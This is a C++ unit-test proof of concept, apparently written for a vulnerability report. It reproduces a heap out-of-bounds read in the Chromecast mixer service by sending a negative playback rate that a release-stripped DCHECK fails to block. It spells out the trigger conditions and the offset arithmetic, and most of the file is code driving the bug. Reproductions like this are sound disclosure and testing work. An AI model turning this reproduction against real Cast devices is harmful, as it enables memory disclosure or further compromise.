// POC: Heap OOB read in MixerInputConnection::FillFromQueue via negative
// playback rate.
//
// The Cast mixer service accepts unauthenticated local UDS connections. A
// client may send a SetPlaybackRate message with a negative |playback_rate|.
// MixerInputConnection::SetMediaPlaybackRate() validates rate > 0 only with
// DCHECK_GT (stripped in release). The negative rate flows into
// FillTimestampedAudio() where:
//
//   frames_to_crop = round(error * sample_rate * playback_rate / 1e6)
//
// becomes a large negative value, which is added to |current_buffer_offset_|.
// FillFromQueue() then performs:
//
//   std::copy_n(buffer_samples + current_buffer_offset_, frames_to_copy, ...)
//
// reading ~192 KB before the heap allocation.
//
// This test sets up a StreamMixer with a mock output that reports a positive
// rendering-delay timestamp (so the timestamped-audio path is taken), creates
// a MixerInputConnection in timestamped mode, sets the playback rate to -1.0,
// queues a small audio buffer with a timestamp far in the past, and runs one
// mixer fill. ASAN reports a heap-buffer-overflow READ at the std::copy_n in
// FillFromQueue.

#include <cstring>
#include <memory>
#include <utility>
#include <vector>

#include "base/run_loop.h"
#include "base/strings/stringprintf.h"
#include "base/task/single_thread_task_runner.h"
#include "base/test/task_environment.h"
#include "chromecast/media/audio/mixer_service/mixer_service_transport.pb.h"
#include "chromecast/media/audio/mixer_service/mixer_socket.h"
#include "chromecast/media/audio/mixer_service/mock_mixer_socket.h"
#include "chromecast/media/audio/net/common.pb.h"
#include "chromecast/media/cma/backend/mixer/mixer_input_connection.h"
#include "chromecast/media/cma/backend/mixer/mock_post_processor_factory.h"
#include "chromecast/media/cma/backend/mixer/stream_mixer.h"
#include "chromecast/public/media/media_pipeline_backend.h"
#include "chromecast/public/media/mixer_output_stream.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"

using testing::_;
using testing::NiceMock;
using testing::Return;

namespace chromecast {
namespace media {
namespace {

constexpr int kSampleRate = 48000;
constexpr int kOutputFrames = 256;
// Positive monotonic timestamp returned by the mock output so that
// FillTimestampedAudio() does not early-return on a negative playout time.
constexpr int64_t kPlayoutTimestampUs = 1000000;
// Audio buffer timestamp far in the past so that
// |error = playout_time - buffer_timestamp| is large and positive (clamped to
// kTimestampErrorLimit = 1e6). With playback_rate = -1.0 this yields
// frames_to_crop = round(1e6 * 48000 * -1.0 / 1e6) = -48000.
constexpr int64_t kBufferTimestampUs = 1000;
constexpr int kBufferFrames = 100;

class MockOutput : public MixerOutputStream {
 public:
  MockOutput() {
    ON_CALL(*this, Start(_, _))
        .WillByDefault([this](int sr, int ch) {
          channels_ = ch;
          sample_rate_ = sr;
          return true;
        });
    ON_CALL(*this, GetNumChannels()).WillByDefault([this]() {
      return channels_;
    });
    ON_CALL(*this, GetSampleRate()).WillByDefault([this]() {
      return sample_rate_;
    });
    ON_CALL(*this, GetRenderingDelay()).WillByDefault([]() {
      // {delay_microseconds, timestamp_microseconds}
      return MediaPipelineBackend::AudioDecoder::RenderingDelay(
          0, kPlayoutTimestampUs);
    });
    ON_CALL(*this, OptimalWriteFramesCount())
        .WillByDefault(Return(kOutputFrames));
    ON_CALL(*this, Write(_, _, _))
        .WillByDefault([](const float*, int, bool* interrupted) {
          *interrupted = false;
          return true;
        });
  }

  MOCK_METHOD2(Start, bool(int, int));
  MOCK_METHOD0(GetNumChannels, int());
  MOCK_METHOD0(GetSampleRate, int());
  MOCK_METHOD0(GetRenderingDelay,
               MediaPipelineBackend::AudioDecoder::RenderingDelay());
  MOCK_METHOD0(OptimalWriteFramesCount, int());
  MOCK_METHOD3(Write, bool(const float*, int, bool*));
  MOCK_METHOD0(Stop, void());

 private:
  int channels_ = 0;
  int sample_rate_ = 0;
};

// Minimal post-processor pipeline (mirrors StreamMixerTest) so that the
// "default" device-id input is routed to a filter group and gets pulled by
// MixAndFilter().
const char kPipelineJson[] = R"json(
{
  "postprocessors": {
    "output_streams": [{
      "streams": [ "default" ],
      "num_input_channels": 2,
      "processors": [{
        "processor": "delay.so",
        "config": { "delay": 0 }
      }]
    }],
    "mix": {
      "num_input_channels": 2,
      "processors": [{
        "processor": "delay.so",
        "config": { "delay": 0 }
       }]
    },
    "linearize": {
      "num_input_channels": 2,
      "processors": [{
        "processor": "delay.so",
        "config": { "delay": 0 }
      }]
    }
  }
}
)json";

}  // namespace

TEST(MixerInputConnectionPoc, NegativePlaybackRateHeapOOBRead) {
  base::test::SingleThreadTaskEnvironment task_environment{
      base::test::TaskEnvironment::MainThreadType::IO};

  auto output = std::make_unique<NiceMock<MockOutput>>();
  auto mixer = std::make_unique<StreamMixer>(
      std::move(output), base::SingleThreadTaskRunner::GetCurrentDefault(),
      "{}");
  mixer->SetNumOutputChannelsForTest(2);
  mixer->ResetPostProcessorsForTest(
      std::make_unique<MockPostProcessorFactory>(), kPipelineJson);

  // Build the malicious OutputStreamParams: timestamped mode, mono, 48 kHz,
  // float planar. fade_frames is kept tiny so the AudioFader doesn't eat the
  // first request before reaching the queue.
  mixer_service::OutputStreamParams params;
  params.set_sample_rate(kSampleRate);
  params.set_num_channels(1);
  params.set_sample_format(audio_service::SAMPLE_FORMAT_FLOAT_P);
  params.set_fade_frames(4);
  params.mutable_timestamped_audio_config()->set_max_timestamp_error(2000);

  auto socket = std::make_unique<NiceMock<mixer_service::MockMixerSocket>>();
  ON_CALL(*socket, SendProto(_, _)).WillByDefault(Return(true));
  ON_CALL(*socket, SendAudioBuffer(_, _, _)).WillByDefault(Return(true));

  // MixerInputConnection manages its own lifetime; it adds itself to |mixer|
  // in the constructor.
  auto* connection =
      new MixerInputConnection(mixer.get(), std::move(socket), params);

  // Let StreamMixer::AddInput → MixerInput::Initialize →
  // InitializeAudioPlayback run so state_ becomes kNormalPlayback.
  for (int i = 0; i < 3; ++i) {
    base::RunLoop loop;
    base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, loop.QuitClosure());
    loop.Run();
  }

  // Send the negative playback rate exactly as a remote client would over the
  // socket. SetMediaPlaybackRate only DCHECKs > 0.
  mixer_service::MixerSocket::Delegate* delegate = connection;
  mixer_service::Generic rate_msg;
  rate_msg.mutable_set_playback_rate()->set_playback_rate(-1.0f);
  delegate->HandleMetadata(rate_msg);

  // Queue one small audio buffer with a timestamp far in the past.
  // HandleAudioData converts/copies it into an internal pool buffer and calls
  // WritePcm() → QueueData().
  std::vector<float> pcm(kBufferFrames, 0.5f);
  delegate->HandleAudioData(reinterpret_cast<char*>(pcm.data()),
                            pcm.size() * sizeof(float), kBufferTimestampUs);

  // Drive the mixer playback loop. On each iteration StreamMixer::WriteOneBuffer
  // calls MixerInput::Render → MixerInputConnection::FillAudioPlaybackFrames →
  // PlaybackRateShifter::FillFrames → ... → FillTimestampedAudio →
  // FillFromQueue with current_buffer_offset_ = -48000.
  //
  // ASAN will report a heap-buffer-overflow READ at the std::copy_n in
  // FillFromQueue (mixer_input_connection.cc).
  for (int i = 0; i < 10; ++i) {
    base::RunLoop loop;
    base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, loop.QuitClosure());
    loop.Run();
  }

  // If we reach here without ASAN tripping, the bug did not reproduce — fail
  // loudly so the test result is unambiguous.
  ADD_FAILURE() << "Expected ASAN heap-buffer-overflow in "
                   "MixerInputConnection::FillFromQueue was not triggered";

  mixer.reset();
}

}  // namespace media
}  // namespace chromecast
